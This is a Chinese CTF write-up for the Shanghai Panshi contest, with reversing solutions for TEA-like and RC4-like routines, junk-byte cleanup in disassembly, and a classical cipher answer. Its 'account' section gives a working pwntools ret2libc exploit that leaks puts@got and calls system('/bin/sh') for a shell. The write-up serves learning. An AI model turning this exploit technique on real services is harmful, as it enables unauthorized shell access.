上海磐石re和pwn部分wp

EasyRE

ai一把出直接给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
def rol(x, n):
return ((x << n) | (x >> (8 - n))) & 0xFF

def ror(x, n):
return ((x >> n) | (x << (8 - n))) & 0xFF

def unxor_chain(data):
temp = [0] * len(data)
for i in range(len(data)):
if i == 0:
temp[i] = data[i] ^ 0x42
else:
temp[i] = (data[i] ^ data[i-1]) ^ 0x42
return temp

def generate_sbox():
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] - 7*(i//7) + i + 4919) % 256
s[i], s[j] = s[j], s[i]
return s

def decrypt_flag(target):
temp_v24 = unxor_chain(target)
s = generate_sbox() # 固定 s-box

i = 0
j = 0
flag = []

for idx in range(len(temp_v24)):
# Step 1: i = (i + 1) % 256
i = (i + 1) % 256

# Step 2: j 更新
if i % 3 == 0:
j = (j + s[3 * i % 256]) % 256
else:
j = (j + s[i]) % 256

# Step 3: 交换 s[i] 和 s[j]
old_si = s[i]
old_sj = s[j]
s[i], s[j] = s[j], s[i]

# Step 4: 计算 index = (old_s[i] + new_s[i]) & 0xFF = (old_si + s[i]) & 0xFF
index = (old_si + s[i]) & 0xFF
ks = s[index] # keystream byte

# Step 5: bias = (i * j) % 16
bias = (i * j) % 16

# Step 6: temp_v24[idx] = rol( bias + (flag_char ^ ks), 3 )
decrypted_val = ror(temp_v24[idx], 3) # ror by 3
# => bias + (flag_char ^ ks) = decrypted_val
xor_val = decrypted_val - bias
xor_val &= 0xFF # 模 256

flag_char = xor_val ^ ks
flag.append(flag_char)

return bytes(flag).decode('ascii', errors='replace')

# 目标数据
target = [
0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A, 0x50,
0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40, 0x95,
0x70, 0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57
]

flag = decrypt_flag(target)
print("Flag:", flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
__halt();
}

点击main,发现有花指令,改一下

先给出修改好的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
int i; // [rsp+4h] [rbp-6Ch]
int v6[4]; // [rsp+10h] [rbp-60h] BYREF
int v7[8]; // [rsp+20h] [rbp-50h]
__int64 buf[6]; // [rsp+40h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
v6[0] = 2;
v6[1] = 0;
v6[2] = 2;
v6[3] = 2;
memset(buf, 0, 32);
v7[0] = 1452940357;
v7[1] = -282301936;
v7[2] = -79426602;
v7[3] = 1469576221;
v7[4] = 1379922627;
v7[5] = 1211333849;
v7[6] = 907455533;
v7[7] = 112603437;
puts("Pls input flag");
read(0, buf, 0x20uLL);
sub_55A7A6AAA1A9((unsigned int *)buf, v6);
for ( i = 0; i <= 3; ++i )
{
if ( v7[i] != *(_DWORD *)(4LL * i + v3) || v7[2 * i + 1] != *(_DWORD *)(4 * (2 * i + 1LL) + v3) )
{
puts("ERROR");
_exit(0);
}
}
puts("Success");
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall sub_55A7A6AAA1A9(unsigned int *a1, _DWORD *a2)
{
int i; // [rsp+18h] [rbp-28h]
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int j; // [rsp+28h] [rbp-18h]

for ( i = 0; i <= 3; ++i )
{
v3 = a1[2 * i];
v4 = a1[2 * i + 1];
v5 = 0;
for ( j = 0; j <= 0x1F; ++j )
{
v5 -= 1988930350;
v3 += v5 ^ (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]);
v4 += v5 ^ (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]);
}
a1[2 * i] = v3;
a1[2 * i + 1] = v4;
}
return a1;
}

这是改好的

现在来说怎么改,点击进来时你可以发现都是没定义的,直接改patch根本不行,我就先用kali远程调试了一下,让数据重新加载了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:0000000000001308 main:                                   ; DATA XREF: start+21↑o
.text:0000000000001308 ; __unwind {
.text:0000000000001308 endbr64
.text:000000000000130C push rbp
.text:000000000000130D mov rbp, rsp
.text:0000000000001310 sub rsp, 70h
.text:0000000000001314 mov rax, fs:28h
.text:000000000000131D mov [rbp-8], rax
.text:0000000000001321 xor eax, eax
.text:0000000000001323 mov dword ptr [rbp-60h], 2
.text:000000000000132A
.text:000000000000132A loc_132A: ; CODE XREF: .text:loc_1363↓j
.text:000000000000132A mov dword ptr [rbp-5Ch], 0
.text:0000000000001331 mov dword ptr [rbp-58h], 2
.text:0000000000001338 mov dword ptr [rbp-54h], 2
.text:000000000000133F mov qword ptr [rbp-30h], 0
.text:0000000000001347 mov qword ptr [rbp-28h], 0
.text:000000000000134F mov qword ptr [rbp-20h], 0
.text:0000000000001357 mov qword ptr [rbp-18h], 0
.text:000000000000135F jz short near ptr loc_1363+1
.text:0000000000001361 jnz short near ptr loc_1363+1
.text:0000000000001363
.text:0000000000001363 loc_1363: ; CODE XREF: .text:000000000000135F↑j
.text:0000000000001363 ; .text:0000000000001361↑j
.text:0000000000001363 loope near ptr loc_132A+2
.text:0000000000001365 mov r8b, 45h ; 'E'
.text:0000000000001368 sbb al, 9Ah
.text:000000000000136A push rsi
.text:000000000000136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000000000001372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000000000001379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000000000001380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000000000001387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:000000000000138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000000000001395 mov dword ptr [rbp-34h], 6B6312Dh
.text:000000000000139C lea rdi, aPlsInputFlag ; "Pls input flag"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000000011A9 loc_11A9:                               ; CODE XREF: .text:00000000000013D1↓p
.text:00000000000011A9 ; __unwind {
.text:00000000000011A9 endbr64
.text:00000000000011AD push rbp
.text:00000000000011AE mov rbp, rsp
.text:00000000000011B1 mov [rbp-38h], rdi
.text:00000000000011B5 mov [rbp-40h], rsi
.text:00000000000011B9 jz short near ptr loc_11BD+1
.text:00000000000011BB jnz short near ptr loc_11BD+1
.text:00000000000011BD
.text:00000000000011BD loc_11BD: ; CODE XREF: .text:00000000000011B9↑j
.text:00000000000011BD ; .text:00000000000011BB↑j
.text:00000000000011BD loope near ptr loc_1182+4
.text:00000000000011BF db 45h
.text:00000000000011BF fadd dword ptr [r8]
.text:00000000000011BF ; ---------------------------------------------------------------------------
.text:00000000000011C2 dw 0
.text:00000000000011C4 dd 12EE900h
.text:00000000000011C8 dq 48C001D8458B0000h, 85148D4898h, 0D00148C8458B4800h
.text:00000000000011E0 dq 0D8458BDC4589008Bh, 1C083489848C001h, 85148D48h, 8BD00148C8458B48h
.text:0000000000001200 dq 0E445C7E0458900h, 54D2EC45C7000000h, 8BC0458B488973h
.text:0000000000001218 dq 8BC0458B48F04589h, 458B48F445890440h, 48F8458908408BC0h
.text:0000000000001230 dq 45890C408BC0458Bh, 0E845C7FCh, 8BE1017503746DEBh, 0E0458BE44501EC45h
.text:0000000000001250 dq 0F0458BC28904E0C1h, 458BE0558B020C8Dh, 8BCA89C131D001E4h
.text:0000000000001268 dq 8BC18905E8C1E045h, 4533D031C801F445h, 0C1DC458BDC4501E4h
.text:0000000000001280 dq 8DF8458BC28904E0h, 0E4458BDC558B020Ch, 458BCA89C131D001h
.text:0000000000001298 dq 458BC18905E8C1DCh, 0E44533D031C801FCh, 8301E84583E04501h
.text:00000000000012B0 dq 7503748D761FE87Dh, 48C001D8458BE101h, 85148D4898h, 0C20148C8458B4800h
.text:00000000000012D0 dq 0D8458B0289DC458Bh, 1C083489848C001h, 85148D48h, 8BC20148C8458B48h
.text:00000000000012F0 dq 1D845830289E045h, 0FEC88E0F03D87D83h, 0C35DC8458B48FFFFh

重新加载后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000563C791E1308 main:                                   ; DATA XREF: start+21↑o
.text:0000563C791E1308 ; __unwind { // 563C791E0000
.text:0000563C791E1308 endbr64
.text:0000563C791E130C push rbp
.text:0000563C791E130D mov rbp, rsp
.text:0000563C791E1310 sub rsp, 70h
.text:0000563C791E1314 mov rax, fs:28h
.text:0000563C791E131D mov [rbp-8], rax
.text:0000563C791E1321 xor eax, eax
.text:0000563C791E1323 mov dword ptr [rbp-60h], 2
.text:0000563C791E132A mov dword ptr [rbp-5Ch], 0
.text:0000563C791E1331 mov dword ptr [rbp-58h], 2
.text:0000563C791E1338 mov dword ptr [rbp-54h], 2
.text:0000563C791E133F mov qword ptr [rbp-30h], 0
.text:0000563C791E1347 mov qword ptr [rbp-28h], 0
.text:0000563C791E134F mov qword ptr [rbp-20h], 0
.text:0000563C791E1357 mov qword ptr [rbp-18h], 0
.text:0000563C791E135F jz short loc_563C791E1364
.text:0000563C791E1361 jnz short loc_563C791E1364
.text:0000563C791E1361 ; ---------------------------------------------------------------------------
.text:0000563C791E1363 db 0E1h
.text:0000563C791E1364 ; ---------------------------------------------------------------------------
.text:0000563C791E1364
.text:0000563C791E1364 loc_563C791E1364: ; CODE XREF: .text:0000563C791E135F↑j
.text:0000563C791E1364 ; .text:0000563C791E1361↑j
.text:0000563C791E1364 mov dword ptr [rbp-50h], 569A1C45h
.text:0000563C791E136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000563C791E1372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000563C791E1379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000563C791E1380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000563C791E1387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:0000563C791E138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000563C791E1395 mov dword ptr [rbp-34h], 6B6312Dh
.text:0000563C791E139C lea rdi, aPlsInputFlag ; "Pls input flag"
.text:0000563C791E13A3 call _puts
.text:0000563C791E13A8 lea rax, [rbp-30h]
.text:0000563C791E13AC mov edx, 20h ; ' '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:000055E1FCA101A9                 endbr64
.text:000055E1FCA101AD push rbp
.text:000055E1FCA101AE mov rbp, rsp
.text:000055E1FCA101B1 mov [rbp-38h], rdi
.text:000055E1FCA101B5 mov [rbp-40h], rsi
.text:000055E1FCA101B9 jz short loc_55E1FCA101BE
.text:000055E1FCA101BB jnz short loc_55E1FCA101BE
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------
.text:000055E1FCA101BE
.text:000055E1FCA101BE loc_55E1FCA101BE: ; CODE XREF: .text:000055E1FCA101B9↑j
.text:000055E1FCA101BE ; .text:000055E1FCA101BB↑j
.text:000055E1FCA101BE mov dword ptr [rbp-28h], 0
.text:000055E1FCA101C5 jmp loc_55E1FCA102F8
.text:000055E1FCA101CA ; ---------------------------------------------------------------------------
.text:000055E1FCA101CA
.text:000055E1FCA101CA loc_55E1FCA101CA: ; CODE XREF: .text:000055E1FCA102FC↓j
.text:000055E1FCA101CA mov eax, [rbp-28h]
.text:000055E1FCA101CD add eax, eax
.text:000055E1FCA101CF cdqe
.text:000055E1FCA101D1 lea rdx, ds:0[rax*4]
.text:000055E1FCA101D9 mov rax, [rbp-38h]
.text:000055E1FCA101DD add rax, rdx
.text:000055E1FCA101E0 mov eax, [rax]
.text:000055E1FCA101E2 mov [rbp-24h], eax
.text:000055E1FCA101E5 mov eax, [rbp-28h]
.text:000055E1FCA101E8 add eax, eax
.text:000055E1FCA101EA cdqe
.text:000055E1FCA101EC add rax, 1
.text:000055E1FCA101F0 lea rdx, ds:0[rax*4]
.text:000055E1FCA101F8 mov rax, [rbp-38h]
.text:000055E1FCA101FC add rax, rdx
.text:000055E1FCA101FF mov eax, [rax]
.text:000055E1FCA10201 mov [rbp-20h], eax
.text:000055E1FCA10204 mov dword ptr [rbp-1Ch], 0
.text:000055E1FCA1020B mov dword ptr [rbp-14h], 897354D2h
.text:000055E1FCA10212 mov rax, [rbp-40h]
.text:000055E1FCA10216 mov eax, [rax]
.text:000055E1FCA10218 mov [rbp-10h], eax
.text:000055E1FCA1021B mov rax, [rbp-40h]
.text:000055E1FCA1021F mov eax, [rax+4]
.text:000055E1FCA10222 mov [rbp-0Ch], eax
.text:000055E1FCA10225 mov rax, [rbp-40h]
.text:000055E1FCA10229 mov eax, [rax+8]
.text:000055E1FCA1022C mov [rbp-8], eax
.text:000055E1FCA1022F mov rax, [rbp-40h]
.text:000055E1FCA10233 mov eax, [rax+0Ch]
.text:000055E1FCA10236 mov [rbp-4], eax
.text:000055E1FCA10239 mov dword ptr [rbp-18h], 0
.text:000055E1FCA10240 jmp short loc_55E1FCA102AF

把类似这样的nop(在汇编标出) ,P重定义,tab就得到伪代码了。

1
2
3
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------

ok,现在可以给exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def reverse_encrypt():
# 目标值(处理后的结果),来自v7数组,转换为32位无符号整数
v7 = [
1452940357,
-282301936,
-79426602,
1469576221,
1379922627,
1211333849,
907455533,
112603437
]

# 将v7转换为32位无符号整数,并按对分组
targets = []
for i in range(0, 8, 2):
v3_final = v7[i] & 0xFFFFFFFF
v4_final = v7[i + 1] & 0xFFFFFFFF
targets.append((v3_final, v4_final))

# a2数组的值,固定为[2, 0, 2, 2]
a2 = [2, 0, 2, 2]
initial_pairs = []

# 对每对目标值进行逆向计算
for (target_v3, target_v4) in targets:
current_v3 = target_v3
current_v4 = target_v4

# 逆向32步加密过程(从第31步到第0步)
for j in reversed(range(32)): # j = 31, 30, ..., 0
# 计算当前步骤的v5值
v5 = (-1988930350) * (j + 1)
v5 &= 0xFFFFFFFF # 保持32位有符号整数特性

# 计算delta_v4,用于还原v4的上一步值
term1 = v5
term2 = (current_v3 + v5) & 0xFFFFFFFF
term3 = (16 * current_v3 + a2[2]) & 0xFFFFFFFF
term4 = ((current_v3 >> 5) + a2[3]) & 0xFFFFFFFF
delta_v4 = (term1 ^ term2 ^ term3 ^ term4) & 0xFFFFFFFF

# 还原上一步的v4
prev_v4 = (current_v4 - delta_v4) & 0xFFFFFFFF

# 计算delta_v3,用于还原v3的上一步值
term1_v3 = v5
term2_v3 = (prev_v4 + v5) & 0xFFFFFFFF
term3_v3 = (16 * prev_v4 + a2[0]) & 0xFFFFFFFF
term4_v3 = ((prev_v4 >> 5) + a2[1]) & 0xFFFFFFFF
delta_v3 = (term1_v3 ^ term2_v3 ^ term3_v3 ^ term4_v3) & 0xFFFFFFFF

# 还原上一步的v3
prev_v3 = (current_v3 - delta_v3) & 0xFFFFFFFF

# 更新当前值,准备下一步逆向
current_v3, current_v4 = prev_v3, prev_v4

initial_pairs.append((current_v3, current_v4))

# 将初始值转换为字节(小端序,符合x86架构)
flag_bytes = b''
for v3, v4 in initial_pairs:
flag_bytes += v3.to_bytes(4, byteorder='little')
flag_bytes += v4.to_bytes(4, byteorder='little')

return flag_bytes


# 获取并打印flag
flag = reverse_encrypt()
print("Flag:", flag.decode('utf-8'))
1
Flag: b3d06a66f8aa86e3e6390f615e389e55

account

注意一下到了v12要将其覆盖成13就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='i386', os='linux')

# 定义自定义函数以匹配图片中的代码
def ru(s): return p.recvuntil(s)
def sl(s): return p.sendline(s)
def rl(): return p.recvline()
def rn(n): return p.recvn(n)
def ia(): return p.interactive()

# 处理32位地址的符号问题(与图片完全一致)
def stre(val):
return str(val & 0xffffffff).encode()

# 启动进程
p = process('./account')
elf = ELF('./account')
libc = ELF('./libc-2.31.so')

# 第一阶段:泄露libc地址(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(0x080490B0)) # puts@plt
sl(stre(elf.sym['vul'])) # vul函数地址
sl(stre(0x0804C014)) # puts@got
sl(b'0')

rl() # 接收"Recording completed"行
libc_base = u32(rn(4)) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# 第二阶段:获取shell(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(system_addr - 0x100000000)) # 负数技巧
sl(b'1') # 任意返回地址
sl(stre(binsh_addr - 0x100000000)) # 负数技巧
sl(b'0')

ia() # 进入交互模式

多重Caesar密码

1
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}

我当时写的时候

1
2
3
4
5
6
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}
flag caesar

m y f z h r p a p f x d d i
f l a g c a e s a r
7 13 5 19 13 5 19 -15 -3 -17

我把’-‘算计去了,结果以为循环是 7 13 5 19 -15 -3 -17,没解出来了。

看有的师傅用ai深度研究梭哈了

1
flag{easy_caesar_with_multiple_shifts_2025}